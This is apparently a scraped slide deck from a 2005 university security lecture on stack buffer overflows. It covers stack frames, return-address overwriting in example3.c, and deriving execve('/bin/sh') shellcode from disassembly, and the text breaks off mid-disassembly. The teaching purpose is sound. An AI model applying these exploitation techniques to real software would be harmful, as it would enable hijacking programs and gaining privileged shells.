Foundations of Network and Computer SecurityAnnouncementsMemory OrganizationStack FramesCalling ConventionStack Memoryexample2.cStack Memory Nowexample3.cHow did we know the values?So we can change return addresses… and then?!Shell CodeFitting Code in the StackHow to Derive Shell Code?And disassembleNeed Code for execveShell Code SynopsisIf execve() failsNew Shell Code SynopsisShell Code, OutlineOne Problem: Where is the /bin/sh string in memory?Shell Code on the StackImplemented Shell CodeImplemented Shell Code, with constants computedTesting the Shell Code: shellcodeasm.cOops.. Won’t workRunning Code in the Data Segment: testsc.cAnother Problem: ZerosEliminating ZerosNew Shell Code (no zeros)Ok, We’re Done? Well…If we know where the buffer isOtherwise, how do we Guess?vulnerable.cexploit1.cLet’s Try It!Doesn’t Work Well: A New IdeaFinal Version of ExploitSmall BuffersFoundations of Network and Foundations of Network and Computer SecurityComputer SecurityJJohn BlackLecture #19Nov 3rd 2005CSCI 6268/TLEN 5831, Fall 2005Announcements•Midterm #2 is Nov 8th (Next Class)–Martin will proctor (I’m at CCS)•Project #1 is due today–Hand in here (in class)–CAETE students can mail to Martin–Webpage for all certs ishttp://ucsu.colorado.edu/~cochranm/certs.html(This is listed as part of the Project2 description)Memory OrganizationTextDataStackStaticHeapStack FramesSimple example:example1.c: void function(int a, int b, int c) { char buffer1[5]; char buffer2[10]; } void main() { function(1,2,3); }gcc -S -o example1.s example1.cCalling Conventionmain:. . . pushl $3 // push parameters in rev order pushl $2 pushl $1 call function // pushes ret addr on stack. . .function: pushl %ebp // save old frame ptr movl %esp,%ebp // set frame ptr to stack ptr subl $20,%esp // allocate space for locals mov %ebp, %esp pop %ebp retStack Memory•What does the stack look like when “function” is called?Bottom of stackTop of stackcbaretsfpbuffer1buffer2321Return address to mainSaved Frame Pointer4 bytes4 bytes4 bytes4 bytes4 bytes8 bytes12 bytesexample2.cvoid function(char *str) { char buffer[16]; strcpy(buffer,str); }void main() { char large_string[256]; int i; for( i = 0; i < 255; i++) large_string[i] = 'A'; function(large_string); }Stack Memory Now•What does the stack look like when “function” is called?Bottom of stackTop of stack*strretsfpbufferPtr to large_stringReturn address to mainSaved Frame Pointer4 bytes4 bytes4 bytes16 bytes•Segmentation fault occurs–We write 255 A’s starting from buffer down through sfp, ret, *str and beyond–We then attempt to return to the address 0x41414141example3.cvoid function(int a, int b, int c) { char buffer1[5]; char buffer2[10]; int *ret; ret = buffer1 + 12; // overwrite return addr (*ret) += 10; // return 10 bytes later in text seg}void main() { int x; x = 0; function(1,2,3); x = 1; printf("%d\n",x);}Write-up says 8 bytes, but it’s wrongHow did we know the values?Look at disassembly:0x8000490 <main>: pushl %ebp0x8000491 <main+1>: movl %esp,%ebp0x8000493 <main+3>: subl $0x4,%esp0x8000496 <main+6>: movl $0x0,0xfffffffc(%ebp)0x800049d <main+13>: pushl $0x30x800049f <main+15>: pushl $0x20x80004a1 <main+17>: pushl $0x10x80004a3 <main+19>: call 0x8000470 <function>0x80004a8 <main+24>: addl $0xc,%esp0x80004ab <main+27>: movl $0x1,0xfffffffc(%ebp)0x80004b2 <main+34>: movl 0xfffffffc(%ebp),%eax0x80004b5 <main+37>: pushl %eax0x80004b6 <main+38>: pushl $0x80004f80x80004bb <main+43>: call 0x8000378 <printf>0x80004c0 <main+48>: addl $0x8,%esp0x80004c3 <main+51>: movl %ebp,%esp0x80004c5 <main+53>: popl %ebp0x80004c6 <main+54>: ret34-24 = 10, so skip 10 bytes down; note: leaves SP messed up!So we can change return addresses… and then?!•If we can arbitrarily change return addresses, what power do we really have?–Cause program to execute other than intended code–Jump to code which grants us privilege–Jump to code giving access to sensitive information•All this assumes we know our way around the binary•If we don’t have a copy of the program, we’re shooting in the dark!•Let’s keep this distinction in mind as we proceed–What if there is nothing interesting to jump to, or we cannot figure out where to jump to?!•Let’s jump to our o wn code!Shell Code•Let’s spawn a shell–The discussion is about to get very Unix specific again–A “shell” is a program that gives us a command prompt–If we spawn a shell, we get command-line access with whatever privileges the current process has (possibly root!)Fitting Code in the Stack•What does the stack look like when “function” is called?cbaretsfpbuffer3214 bytes4 bytes4 bytesSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSJump to Shell CodeHow to Derive Shell Code?•Write in C, compile, extract assembly into machine code:#include <stdio.h>void main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL);}gcc -o shellcode -ggdb -static shellcode.cAnd disassemble0x8000130 <main>: pushl %ebp0x8000131 <main+1>: movl %esp,%ebp0x8000133 <main+3>: subl $0x8,%esp0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp)0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp)0x8000144 <main+20>: pushl $0x00x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax0x8000149 <main+25>: pushl %eax0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax0x800014d <main+29>: pushl %eax0x800014e <main+30>: call 0x80002bc <__execve>0x8000153 <main+35>: addl $0xc,%esp0x8000156 <main+38>: movl %ebp,%esp0x8000158 <main+40>: popl %ebp0x8000159 <main+41>: retNeed Code for execve0x80002bc <__execve>: pushl %ebp0x80002bd <__execve+1>: movl %esp,%ebp0x80002bf <__execve+3>: pushl %ebx0x80002c0 <__execve+4>: movl $0xb,%eax0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx0x80002cb <__execve+15>: movl 0x10(%ebp),%edx0x80002ce <__execve+18>: int $0x800x80002d0 <__execve+20>: movl %eax,%edx0x80002d2 <__execve+22>: testl %edx,%edx0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42>0x80002d6 <__execve+26>: negl %edx0x80002d8 <__execve+28>: pushl %edx0x80002d9
View Full Document